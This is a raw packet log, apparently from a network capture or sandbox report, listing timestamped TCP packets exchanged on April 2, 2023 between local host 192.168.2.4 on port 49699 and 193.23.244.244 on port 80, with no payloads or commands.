Apr 2, 2023 09:49:21.776751041 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776760101 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776779890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776791096 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776801109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776820898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776856899 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776861906 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776878119 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776896954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776917934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776925087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776937962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776957989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776961088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776978016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776998043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776999950 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777017117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777038097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777050972 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777056932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777076960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777097940 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777101994 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777117968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777137995 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777149916 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777158976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777179003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777179956 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777199030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777205944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777220011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777240992 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777242899 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777260065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777278900 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777280092 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777299881 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777319908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777327061 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777338982 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777359009 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777375937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777379990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777400970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777406931 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777422905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777442932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777443886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777465105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777478933 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777483940 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777503967 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777523994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777527094 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777544975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777565002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777569056 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777585030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777601004 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777605057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777626038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777646065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777647972 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777666092 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777681112 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777686119 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777704954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777714968 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777724981 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777744055 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777762890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777782917 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777782917 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777803898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777812004 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777823925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777843952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777848005 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777863026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777877092 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777883053 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777903080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777920008 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.777920961 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777941942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777961969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777981043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.777981997 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778000116 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778009892 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778018951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778038979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778043985 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778059006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778078079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778084993 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778099060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778119087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778120041 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778140068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778158903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778178930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778198004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778207064 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778218985 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778239012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778245926 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778258085 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778278112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778297901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778300047 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778316975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778331995 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778337955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778351068 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778357983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778377056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778395891 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778418064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778436899 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778441906 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778455973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778476954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778482914 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778496027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778517008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778538942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778553963 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778558016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778578997 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778599977 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778603077 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778620005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778640032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778660059 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778678894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778681993 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778709888 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778729916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778733015 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778749943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778767109 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778769016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778789043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778804064 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778809071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778829098 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778847933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778850079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778873920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778894901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778902054 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778915882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778935909 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.778935909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778958082 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778978109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778999090 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.778999090 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779019117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779026985 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779041052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779061079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779059887 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779079914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779102087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779118061 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779123068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779143095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779149055 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779164076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779184103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779189110 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779205084 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779226065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779246092 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779247046 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779267073 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779274940 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779288054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779308081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779309034 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779328108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779349089 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779357910 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779371023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779387951 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779391050 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779411077 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779432058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779452085 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779470921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779470921 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779491901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779510975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779525042 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779531956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779547930 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779552937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779572010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779591084 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779597044 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779611111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779630899 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779649973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779670000 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779671907 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779690027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779710054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779720068 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779730082 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779750109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779751062 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779768944 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779788971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779809952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779812098 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779829979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779838085 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779850006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779870033 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779871941 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779889107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779908895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779923916 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779927969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779947996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779953957 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779967070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.779985905 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.779987097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780008078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780028105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780035019 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780047894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780065060 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780067921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780087948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780106068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780124903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780143976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780147076 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780163050 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780179024 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780183077 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780201912 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780220032 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780221939 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780235052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780255079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780256033 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780276060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780296087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780312061 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780317068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780335903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780347109 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780355930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780376911 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780386925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780397892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780420065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780441046 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780461073 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780463934 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780479908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780497074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780500889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780520916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780540943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780541897 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780560970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780580997 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780601025 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780601025 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780620098 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780630112 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780641079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780659914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780661106 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780679941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780700922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780711889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780720949 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780741930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780744076 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780761957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780783892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780803919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780823946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780823946 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780844927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780858040 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780864954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780885935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780898094 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780905962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780925035 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780945063 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780946016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780966043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.780985117 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.780985117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781004906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781023979 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781023979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781044006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781060934 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781063080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781083107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781100988 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781102896 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781122923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781137943 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781141996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781162024 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781177044 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781181097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781203032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781218052 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781223059 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781243086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781258106 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781261921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781280994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781301022 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781301022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781321049 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781341076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781342030 CEST	49699	80	192.168.2.4	193.23.244.244
